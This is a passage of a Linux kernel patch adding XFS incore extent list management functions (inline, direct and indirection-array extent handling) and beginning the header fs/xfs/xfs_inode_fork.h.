number of extents (nextents + ext_diff) + * fits inside the inode, then continue to use the inline + * extent buffer. + */ + if (nextents + ext_diff <= XFS_INLINE_EXTS) { + if (idx < nextents) { + memmove(&ifp->if_u2.if_inline_ext[idx + ext_diff], + &ifp->if_u2.if_inline_ext[idx], + (nextents - idx) * sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u2.if_inline_ext[idx], 0, byte_diff); + } + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + ifp->if_real_bytes = 0; + } + /* + * Otherwise use a linear (direct) extent list. + * If the extents are currently inside the inode, + * xfs_iext_realloc_direct will switch us from + * inline to direct extent allocation mode. + */ + else if (nextents + ext_diff <= XFS_LINEAR_EXTS) { + xfs_iext_realloc_direct(ifp, new_size); + if (idx < nextents) { + memmove(&ifp->if_u1.if_extents[idx + ext_diff], + &ifp->if_u1.if_extents[idx], + (nextents - idx) * sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u1.if_extents[idx], 0, byte_diff); + } + } + /* Indirection array */ + else { + xfs_ext_irec_t *erp; + int erp_idx = 0; + int page_idx = idx; + + ASSERT(nextents + ext_diff > XFS_LINEAR_EXTS); + if (ifp->if_flags & XFS_IFEXTIREC) { + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 1); + } else { + xfs_iext_irec_init(ifp); + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = ifp->if_u1.if_ext_irec; + } + /* Extents fit in target extent page */ + if (erp && erp->er_extcount + ext_diff <= XFS_LINEAR_EXTS) { + if (page_idx < erp->er_extcount) { + memmove(&erp->er_extbuf[page_idx + ext_diff], + &erp->er_extbuf[page_idx], + (erp->er_extcount - page_idx) * + sizeof(xfs_bmbt_rec_t)); + memset(&erp->er_extbuf[page_idx], 0, byte_diff); + } + erp->er_extcount += ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + } + /* Insert a new extent page */ + else if (erp) { + xfs_iext_add_indirect_multi(ifp, + erp_idx, page_idx, ext_diff); + } + /* + * If extent(s) are being appended to the last page in + * the indirection array and the new extent(s) don't fit + * in the page, then erp is NULL and erp_idx is set to + * the next index needed in the indirection array. + */ + else { + int count = ext_diff; + + while (count) { + erp = xfs_iext_irec_new(ifp, erp_idx); + erp->er_extcount = count; + count -= MIN(count, (int)XFS_LINEAR_EXTS); + if (count) { + erp_idx++; + } + } + } + } + ifp->if_bytes = new_size; +} + +/* + * This is called when incore extents are being added to the indirection + * array and the new extents do not fit in the target extent list. The + * erp_idx parameter contains the irec index for the target extent list + * in the indirection array, and the idx parameter contains the extent + * index within the list. The number of extents being added is stored + * in the count parameter. + * + * |-------| |-------| + * | | | | idx - number of extents before idx + * | idx | | count | + * | | | | count - number of extents being inserted at idx + * |-------| |-------| + * | count | | nex2 | nex2 - number of extents after idx + count + * |-------| |-------| + */ +void +xfs_iext_add_indirect_multi( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx, /* target extent irec index */ + xfs_extnum_t idx, /* index within target list */ + int count) /* new extents being added */ +{ + int byte_diff; /* new bytes being added */ + xfs_ext_irec_t *erp; /* pointer to irec entry */ + xfs_extnum_t ext_diff; /* number of extents to add */ + xfs_extnum_t ext_cnt; /* new extents still needed */ + xfs_extnum_t nex2; /* extents after idx + count */ + xfs_bmbt_rec_t *nex2_ep = NULL; /* temp list for nex2 extents */ + int nlists; /* number of irec's (lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + nex2 = erp->er_extcount - idx; + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + + /* + * Save second part of target extent list + * (all extents past */ + if (nex2) { + byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); + nex2_ep = (xfs_bmbt_rec_t *) kmem_alloc(byte_diff, KM_NOFS); + memmove(nex2_ep, &erp->er_extbuf[idx], byte_diff); + erp->er_extcount -= nex2; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -nex2); + memset(&erp->er_extbuf[idx], 0, byte_diff); + } + + /* + * Add the new extents to the end of the target + * list, then allocate new irec record(s) and + * extent buffer(s) as needed to store the rest + * of the new extents. + */ + ext_cnt = count; + ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS - erp->er_extcount); + if (ext_diff) { + erp->er_extcount += ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + ext_cnt -= ext_diff; + } + while (ext_cnt) { + erp_idx++; + erp = xfs_iext_irec_new(ifp, erp_idx); + ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS); + erp->er_extcount = ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + ext_cnt -= ext_diff; + } + + /* Add nex2 extents back to indirection array */ + if (nex2) { + xfs_extnum_t ext_avail; + int i; + + byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); + ext_avail = XFS_LINEAR_EXTS - erp->er_extcount; + i = 0; + /* + * If nex2 extents fit in the current page, append + * nex2_ep after the new extents. + */ + if (nex2 <= ext_avail) { + i = erp->er_extcount; + } + /* + * Otherwise, check if space is available in the + * next page. + */ + else if ((erp_idx < nlists - 1) && + (nex2 <= (ext_avail = XFS_LINEAR_EXTS - + ifp->if_u1.if_ext_irec[erp_idx+1].er_extcount))) { + erp_idx++; + erp++; + /* Create a hole for nex2 extents */ + memmove(&erp->er_extbuf[nex2], erp->er_extbuf, + erp->er_extcount * sizeof(xfs_bmbt_rec_t)); + } + /* + * Final choice, create a new extent page for + * nex2 extents. + */ + else { + erp_idx++; + erp = xfs_iext_irec_new(ifp, erp_idx); + } + memmove(&erp->er_extbuf[i], nex2_ep, byte_diff); + kmem_free(nex2_ep); + erp->er_extcount += nex2; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, nex2); + } +} + +/* + * This is called when the amount of space required for incore file + * extents needs to be decreased. The ext_diff parameter stores the + * number of extents to be removed and the idx parameter contains + * the extent index where the extents will be removed from. + * + * If the amount of space needed has decreased below the linear + * limit, XFS_IEXT_BUFSZ, then switch to using the contiguous + * extent array. Otherwise, use kmem_realloc() to adjust the + * size to what is needed. + */ +void +xfs_iext_remove( + xfs_inode_t *ip, /* incore inode pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff, /* number of extents to remove */ + int state) /* type of extent conversion */ +{ + xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; + xfs_extnum_t nextents; /* number of extents in file */ + int new_size; /* size of extents after removal */ + + trace_xfs_iext_remove(ip, idx, state, _RET_IP_); + + ASSERT(ext_diff > 0); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + new_size = (nextents - ext_diff) * sizeof(xfs_bmbt_rec_t); + + if (new_size == 0) { + xfs_iext_destroy(ifp); + } else if (ifp->if_flags & XFS_IFEXTIREC) { + xfs_iext_remove_indirect(ifp, idx, ext_diff); + } else if (ifp->if_real_bytes) { + xfs_iext_remove_direct(ifp, idx, ext_diff); + } else { + xfs_iext_remove_inline(ifp, idx, ext_diff); + } + ifp->if_bytes = new_size; +} + +/* + * This removes ext_diff extents from the inline buffer, beginning + * at extent index idx. + */ +void +xfs_iext_remove_inline( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff) /* number of extents to remove */ +{ + int nextents; /* number of extents in file */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + ASSERT(idx < XFS_INLINE_EXTS); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(((nextents - ext_diff) > 0) && + (nextents - ext_diff) < XFS_INLINE_EXTS); + + if (idx + ext_diff < nextents) { + memmove(&ifp->if_u2.if_inline_ext[idx], + &ifp->if_u2.if_inline_ext[idx + ext_diff], + (nextents - (idx + ext_diff)) * + sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u2.if_inline_ext[nextents - ext_diff], + 0, ext_diff * sizeof(xfs_bmbt_rec_t)); + } else { + memset(&ifp->if_u2.if_inline_ext[idx], 0, + ext_diff * sizeof(xfs_bmbt_rec_t)); + } +} + +/* + * This removes ext_diff extents from a linear (direct) extent list, + * beginning at extent index idx. If the extents are being removed + * from the end of the list (ie. truncate) then we just need to re- + * allocate the list to remove the extra space. Otherwise, if the + * extents are being removed from the middle of the existing extent + * entries, then we first need to move the extent records beginning + * at idx + ext_diff up in the list to overwrite the records being + * removed, then remove the extra space via kmem_realloc. + */ +void +xfs_iext_remove_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff) /* number of extents to remove */ +{ + xfs_extnum_t nextents; /* number of extents in file */ + int new_size; /* size of extents after removal */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + new_size = ifp->if_bytes - + (ext_diff * sizeof(xfs_bmbt_rec_t)); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + + if (new_size == 0) { + xfs_iext_destroy(ifp); + return; + } + /* Move extents up in the list (if needed) */ + if (idx + ext_diff < nextents) { + memmove(&ifp->if_u1.if_extents[idx], + &ifp->if_u1.if_extents[idx + ext_diff], + (nextents - (idx + ext_diff)) * + sizeof(xfs_bmbt_rec_t)); + } + memset(&ifp->if_u1.if_extents[nextents - ext_diff], + 0, ext_diff * sizeof(xfs_bmbt_rec_t)); + /* + * Reallocate the direct extent list. If the extents + * will fit inside the inode then xfs_iext_realloc_direct + * will switch from direct to inline extent allocation + * mode for us. + */ + xfs_iext_realloc_direct(ifp, new_size); + ifp->if_bytes = new_size; +} + +/* + * This is called when incore extents are being removed from the + * indirection array and the extents being removed span multiple extent + * buffers. The idx parameter contains the file extent index where we + * want to begin removing extents, and the count parameter contains + * how many extents need to be removed. + * + * |-------| |-------| + * | nex1 | | | nex1 - number of extents before idx + * |-------| | count | + * | | | | count - number of extents being removed at idx + * | count | |-------| + * | | | nex2 | nex2 - number of extents after idx + count + * |-------| |-------| + */ +void +xfs_iext_remove_indirect( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing extents */ + int count) /* number of extents to remove */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int erp_idx = 0; /* indirection array index */ + xfs_extnum_t ext_cnt; /* extents left to remove */ + xfs_extnum_t ext_diff; /* extents to remove in current list */ + xfs_extnum_t nex1; /* number of extents before idx */ + xfs_extnum_t nex2; /* extents after idx + count */ + int page_idx = idx; /* index in target extent list */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); + ASSERT(erp != NULL); + nex1 = page_idx; + ext_cnt = count; + while (ext_cnt) { + nex2 = MAX((erp->er_extcount - (nex1 + ext_cnt)), 0); + ext_diff = MIN(ext_cnt, (erp->er_extcount - nex1)); + /* + * Check for deletion of entire list; + * xfs_iext_irec_remove() updates extent offsets. + */ + if (ext_diff == erp->er_extcount) { + xfs_iext_irec_remove(ifp, erp_idx); + ext_cnt -= ext_diff; + nex1 = 0; + if (ext_cnt) { + ASSERT(erp_idx < ifp->if_real_bytes / + XFS_IEXT_BUFSZ); + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + nex1 = 0; + continue; + } else { + break; + } + } + /* Move extents up (if needed) */ + if (nex2) { + memmove(&erp->er_extbuf[nex1], + &erp->er_extbuf[nex1 + ext_diff], + nex2 * sizeof(xfs_bmbt_rec_t)); + } + /* Zero out rest of page */ + memset(&erp->er_extbuf[nex1 + nex2], 0, (XFS_IEXT_BUFSZ - + ((nex1 + nex2) * sizeof(xfs_bmbt_rec_t)))); + /* Update remaining counters */ + erp->er_extcount -= ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -ext_diff); + ext_cnt -= ext_diff; + nex1 = 0; + erp_idx++; + erp++; + } + ifp->if_bytes -= count * sizeof(xfs_bmbt_rec_t); + xfs_iext_irec_compact(ifp); +} + +/* + * Create, destroy, or resize a linear (direct) block of extents. + */ +void +xfs_iext_realloc_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* new size of extents */ +{ + int rnew_size; /* real new size of extents */ + + rnew_size = new_size; + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC) || + ((new_size >= 0) && (new_size <= XFS_IEXT_BUFSZ) && + (new_size != ifp->if_real_bytes))); + + /* Free extent records */ + if (new_size == 0) { + xfs_iext_destroy(ifp); + } + /* Resize direct extent list and zero any new bytes */ + else if (ifp->if_real_bytes) { + /* Check if extents will fit inside the inode */ + if (new_size <= XFS_INLINE_EXTS * sizeof(xfs_bmbt_rec_t)) { + xfs_iext_direct_to_inline(ifp, new_size / + (uint)sizeof(xfs_bmbt_rec_t)); + ifp->if_bytes = new_size; + return; + } + if (!is_power_of_2(new_size)){ + rnew_size = roundup_pow_of_two(new_size); + } + if (rnew_size != ifp->if_real_bytes) { + ifp->if_u1.if_extents = + kmem_realloc(ifp->if_u1.if_extents, + rnew_size, + ifp->if_real_bytes, KM_NOFS); + } + if (rnew_size > ifp->if_real_bytes) { + memset(&ifp->if_u1.if_extents[ifp->if_bytes / + (uint)sizeof(xfs_bmbt_rec_t)], 0, + rnew_size - ifp->if_real_bytes); + } + } + /* + * Switch from the inline extent buffer to a direct + * extent list. Be sure to include the inline extent + * bytes in new_size. + */ + else { + new_size += ifp->if_bytes; + if (!is_power_of_2(new_size)) { + rnew_size = roundup_pow_of_two(new_size); + } + xfs_iext_inline_to_direct(ifp, rnew_size); + } + ifp->if_real_bytes = rnew_size; + ifp->if_bytes = new_size; +} + +/* + * Switch from linear (direct) extent records to inline buffer. + */ +void +xfs_iext_direct_to_inline( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t nextents) /* number of extents in file */ +{ + ASSERT(ifp->if_flags & XFS_IFEXTENTS); + ASSERT(nextents <= XFS_INLINE_EXTS); + /* + * The inline buffer was zeroed when we switched + * from inline to direct extent allocation mode, + * so we don't need to clear it here. + */ + memcpy(ifp->if_u2.if_inline_ext, ifp->if_u1.if_extents, + nextents * sizeof(xfs_bmbt_rec_t)); + kmem_free(ifp->if_u1.if_extents); + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + ifp->if_real_bytes = 0; +} + +/* + * Switch from inline buffer to linear (direct) extent records. + * new_size should already be rounded up to the next power of 2 + * by the caller (when appropriate), so use new_size as it is. + * However, since new_size may be rounded up, we can't update + * if_bytes here. It is the caller's responsibility to update + * if_bytes upon return. + */ +void +xfs_iext_inline_to_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* number of extents in file */ +{ + ifp->if_u1.if_extents = kmem_alloc(new_size, KM_NOFS); + memset(ifp->if_u1.if_extents, 0, new_size); + if (ifp->if_bytes) { + memcpy(ifp->if_u1.if_extents, ifp->if_u2.if_inline_ext, + ifp->if_bytes); + memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * + sizeof(xfs_bmbt_rec_t)); + } + ifp->if_real_bytes = new_size; +} + +/* + * Resize an extent indirection array to new_size bytes. + */ +STATIC void +xfs_iext_realloc_indirect( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* new indirection array size */ +{ + int nlists; /* number of irec's (ex lists) */ + int size; /* current indirection array size */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + size = nlists * sizeof(xfs_ext_irec_t); + ASSERT(ifp->if_real_bytes); + ASSERT((new_size >= 0) && (new_size != size)); + if (new_size == 0) { + xfs_iext_destroy(ifp); + } else { + ifp->if_u1.if_ext_irec = (xfs_ext_irec_t *) + kmem_realloc(ifp->if_u1.if_ext_irec, + new_size, size, KM_NOFS); + } +} + +/* + * Switch from indirection array to linear (direct) extent allocations. + */ +STATIC void +xfs_iext_indirect_to_direct( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_bmbt_rec_host_t *ep; /* extent record pointer */ + xfs_extnum_t nextents; /* number of extents in file */ + int size; /* size of file extents */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(nextents <= XFS_LINEAR_EXTS); + size = nextents * sizeof(xfs_bmbt_rec_t); + + xfs_iext_irec_compact_pages(ifp); + ASSERT(ifp->if_real_bytes == XFS_IEXT_BUFSZ); + + ep = ifp->if_u1.if_ext_irec->er_extbuf; + kmem_free(ifp->if_u1.if_ext_irec); + ifp->if_flags &= ~XFS_IFEXTIREC; + ifp->if_u1.if_extents = ep; + ifp->if_bytes = size; + if (nextents < XFS_LINEAR_EXTS) { + xfs_iext_realloc_direct(ifp, size); + } +} + +/* + * Free incore file extents. + */ +void +xfs_iext_destroy( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + if (ifp->if_flags & XFS_IFEXTIREC) { + int erp_idx; + int nlists; + + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { + xfs_iext_irec_remove(ifp, erp_idx); + } + ifp->if_flags &= ~XFS_IFEXTIREC; + } else if (ifp->if_real_bytes) { + kmem_free(ifp->if_u1.if_extents); + } else if (ifp->if_bytes) { + memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * + sizeof(xfs_bmbt_rec_t)); + } + ifp->if_u1.if_extents = NULL; + ifp->if_real_bytes = 0; + ifp->if_bytes = 0; +} + +/* + * Return a pointer to the extent record for file system block bno. + */ +xfs_bmbt_rec_host_t * /* pointer to found extent record */ +xfs_iext_bno_to_ext( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fileoff_t bno, /* block number to search for */ + xfs_extnum_t *idxp) /* index of target extent */ +{ + xfs_bmbt_rec_host_t *base; /* pointer to first extent */ + xfs_filblks_t blockcount = 0; /* number of blocks in extent */ + xfs_bmbt_rec_host_t *ep = NULL; /* pointer to target extent */ + xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ + int high; /* upper boundary in search */ + xfs_extnum_t idx = 0; /* index of target extent */ + int low; /* lower boundary in search */ + xfs_extnum_t nextents; /* number of file extents */ + xfs_fileoff_t startoff = 0; /* start offset of extent */ + + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + if (nextents == 0) { + *idxp = 0; + return NULL; + } + low = 0; + if (ifp->if_flags & XFS_IFEXTIREC) { + /* Find target extent list */ + int erp_idx = 0; + erp = xfs_iext_bno_to_irec(ifp, bno, &erp_idx); + base = erp->er_extbuf; + high = erp->er_extcount - 1; + } else { + base = ifp->if_u1.if_extents; + high = nextents - 1; + } + /* Binary search extent records */ + while (low <= high) { + idx = (low + high) >> 1; + ep = base + idx; + startoff = xfs_bmbt_get_startoff(ep); + blockcount = xfs_bmbt_get_blockcount(ep); + if (bno < startoff) { + high = idx - 1; + } else if (bno >= startoff + blockcount) { + low = idx + 1; + } else { + /* Convert back to file-based extent index */ + if (ifp->if_flags & XFS_IFEXTIREC) { + idx += erp->er_extoff; + } + *idxp = idx; + return ep; + } + } + /* Convert back to file-based extent index */ + if (ifp->if_flags & XFS_IFEXTIREC) { + idx += erp->er_extoff; + } + if (bno >= startoff + blockcount) { + if (++idx == nextents) { + ep = NULL; + } else { + ep = xfs_iext_get_ext(ifp, idx); + } + } + *idxp = idx; + return ep; +} + +/* + * Return a pointer to the indirection array entry containing the + * extent record for filesystem block bno. Store the index of the + * target irec in *erp_idxp. + */ +xfs_ext_irec_t * /* pointer to found extent record */ +xfs_iext_bno_to_irec( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fileoff_t bno, /* block number to search for */ + int *erp_idxp) /* irec index of target ext list */ +{ + xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ + xfs_ext_irec_t *erp_next; /* next indirection array entry */ + int erp_idx; /* indirection array index */ + int nlists; /* number of extent irec's (lists) */ + int high; /* binary search upper limit */ + int low; /* binary search lower limit */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp_idx = 0; + low = 0; + high = nlists - 1; + while (low <= high) { + erp_idx = (low + high) >> 1; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + erp_next = erp_idx < nlists - 1 ? erp + 1 : NULL; + if (bno < xfs_bmbt_get_startoff(erp->er_extbuf)) { + high = erp_idx - 1; + } else if (erp_next && bno >= + xfs_bmbt_get_startoff(erp_next->er_extbuf)) { + low = erp_idx + 1; + } else { + break; + } + } + *erp_idxp = erp_idx; + return erp; +} + +/* + * Return a pointer to the indirection array entry containing the + * extent record at file extent index *idxp. Store the index of the + * target irec in *erp_idxp and store the page index of the target + * extent record in *idxp. + */ +xfs_ext_irec_t * +xfs_iext_idx_to_irec( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t *idxp, /* extent index (file -> page) */ + int *erp_idxp, /* pointer to target irec */ + int realloc) /* new bytes were just added */ +{ + xfs_ext_irec_t *prev; /* pointer to previous irec */ + xfs_ext_irec_t *erp = NULL; /* pointer to current irec */ + int erp_idx; /* indirection array index */ + int nlists; /* number of irec's (ex lists) */ + int high; /* binary search upper limit */ + int low; /* binary search lower limit */ + xfs_extnum_t page_idx = *idxp; /* extent index in target list */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + ASSERT(page_idx >= 0); + ASSERT(page_idx <= ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); + ASSERT(page_idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t) || realloc); + + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp_idx = 0; + low = 0; + high = nlists - 1; + + /* Binary search extent irec's */ + while (low <= high) { + erp_idx = (low + high) >> 1; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + prev = erp_idx > 0 ? erp - 1 : NULL; + if (page_idx < erp->er_extoff || (page_idx == erp->er_extoff && + realloc && prev && prev->er_extcount < XFS_LINEAR_EXTS)) { + high = erp_idx - 1; + } else if (page_idx > erp->er_extoff + erp->er_extcount || + (page_idx == erp->er_extoff + erp->er_extcount && + !realloc)) { + low = erp_idx + 1; + } else if (page_idx == erp->er_extoff + erp->er_extcount && + erp->er_extcount == XFS_LINEAR_EXTS) { + ASSERT(realloc); + page_idx = 0; + erp_idx++; + erp = erp_idx < nlists ? erp + 1 : NULL; + break; + } else { + page_idx -= erp->er_extoff; + break; + } + } + *idxp = page_idx; + *erp_idxp = erp_idx; + return(erp); +} + +/* + * Allocate and initialize an indirection array once the space needed + * for incore extents increases above XFS_IEXT_BUFSZ. + */ +void +xfs_iext_irec_init( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + xfs_extnum_t nextents; /* number of extents in file */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(nextents <= XFS_LINEAR_EXTS); + + erp = kmem_alloc(sizeof(xfs_ext_irec_t), KM_NOFS); + + if (nextents == 0) { + ifp->if_u1.if_extents = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); + } else if (!ifp->if_real_bytes) { + xfs_iext_inline_to_direct(ifp, XFS_IEXT_BUFSZ); + } else if (ifp->if_real_bytes < XFS_IEXT_BUFSZ) { + xfs_iext_realloc_direct(ifp, XFS_IEXT_BUFSZ); + } + erp->er_extbuf = ifp->if_u1.if_extents; + erp->er_extcount = nextents; + erp->er_extoff = 0; + + ifp->if_flags |= XFS_IFEXTIREC; + ifp->if_real_bytes = XFS_IEXT_BUFSZ; + ifp->if_bytes = nextents * sizeof(xfs_bmbt_rec_t); + ifp->if_u1.if_ext_irec = erp; + + return; +} + +/* + * Allocate and initialize a new entry in the indirection array. + */ +xfs_ext_irec_t * +xfs_iext_irec_new( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx) /* index for new irec */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + + /* Resize indirection array */ + xfs_iext_realloc_indirect(ifp, ++nlists * + sizeof(xfs_ext_irec_t)); + /* + * Move records down in the array so the + * new page can use erp_idx. + */ + erp = ifp->if_u1.if_ext_irec; + for (i = nlists - 1; i > erp_idx; i--) { + memmove(&erp[i], &erp[i-1], sizeof(xfs_ext_irec_t)); + } + ASSERT(i == erp_idx); + + /* Initialize new extent record */ + erp = ifp->if_u1.if_ext_irec; + erp[erp_idx].er_extbuf = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); + ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; + memset(erp[erp_idx].er_extbuf, 0, XFS_IEXT_BUFSZ); + erp[erp_idx].er_extcount = 0; + erp[erp_idx].er_extoff = erp_idx > 0 ? + erp[erp_idx-1].er_extoff + erp[erp_idx-1].er_extcount : 0; + return (&erp[erp_idx]); +} + +/* + * Remove a record from the indirection array. + */ +void +xfs_iext_irec_remove( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx) /* irec index to remove */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + if (erp->er_extbuf) { + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, + -erp->er_extcount); + kmem_free(erp->er_extbuf); + } + /* Compact extent records */ + erp = ifp->if_u1.if_ext_irec; + for (i = erp_idx; i < nlists - 1; i++) { + memmove(&erp[i], &erp[i+1], sizeof(xfs_ext_irec_t)); + } + /* + * Manually free the last extent record from the indirection + * array. A call to xfs_iext_realloc_indirect() with a size + * of zero would result in a call to xfs_iext_destroy() which + * would in turn call this function again, creating a nasty + * infinite loop. + */ + if (--nlists) { + xfs_iext_realloc_indirect(ifp, + nlists * sizeof(xfs_ext_irec_t)); + } else { + kmem_free(ifp->if_u1.if_ext_irec); + } + ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; +} + +/* + * This is called to clean up large amounts of unused memory allocated + * by the indirection array. Before compacting anything though, verify + * that the indirection array is still needed and switch back to the + * linear extent list (or even the inline buffer) if possible. The + * compaction policy is as follows: + * + * Full Compaction: Extents fit into a single page (or inline buffer) + * Partial Compaction: Extents occupy less than 50% of allocated space + * No Compaction: Extents occupy at least 50% of allocated space + */ +void +xfs_iext_irec_compact( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_extnum_t nextents; /* number of extents in file */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + + if (nextents == 0) { + xfs_iext_destroy(ifp); + } else if (nextents <= XFS_INLINE_EXTS) { + xfs_iext_indirect_to_direct(ifp); + xfs_iext_direct_to_inline(ifp, nextents); + } else if (nextents <= XFS_LINEAR_EXTS) { + xfs_iext_indirect_to_direct(ifp); + } else if (nextents < (nlists * XFS_LINEAR_EXTS) >> 1) { + xfs_iext_irec_compact_pages(ifp); + } +} + +/* + * Combine extents from neighboring extent pages. + */ +void +xfs_iext_irec_compact_pages( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_ext_irec_t *erp, *erp_next;/* pointers to irec entries */ + int erp_idx = 0; /* indirection array index */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + while (erp_idx < nlists - 1) { + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + erp_next = erp + 1; + if (erp_next->er_extcount <= + (XFS_LINEAR_EXTS - erp->er_extcount)) { + memcpy(&erp->er_extbuf[erp->er_extcount], + erp_next->er_extbuf, erp_next->er_extcount * + sizeof(xfs_bmbt_rec_t)); + erp->er_extcount += erp_next->er_extcount; + /* + * Free page before removing extent record + * so er_extoffs don't get modified in + * xfs_iext_irec_remove. + */ + kmem_free(erp_next->er_extbuf); + erp_next->er_extbuf = NULL; + xfs_iext_irec_remove(ifp, erp_idx + 1); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + } else { + erp_idx++; + } + } +} + +/* + * This is called to update the er_extoff field in the indirection + * array when extents have been added or removed from one of the + * extent lists. erp_idx contains the irec index to begin updating + * at and ext_diff contains the number of extents that were added + * or removed. + */ +void +xfs_iext_irec_update_extoffs( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx, /* irec index to update */ + int ext_diff) /* number of new extents */ +{ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + for (i = erp_idx; i < nlists; i++) { + ifp->if_u1.if_ext_irec[i].er_extoff += ext_diff; + } +} diff --git a/fs/xfs/xfs_inode_fork.h b/fs/xfs/xfs_inode_fork.h new file mode 100644 index 0000000..28661a0 --- /dev/null +++ b/fs/xfs/xfs_inode_fork.h @@ -0,0 +1,171 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU 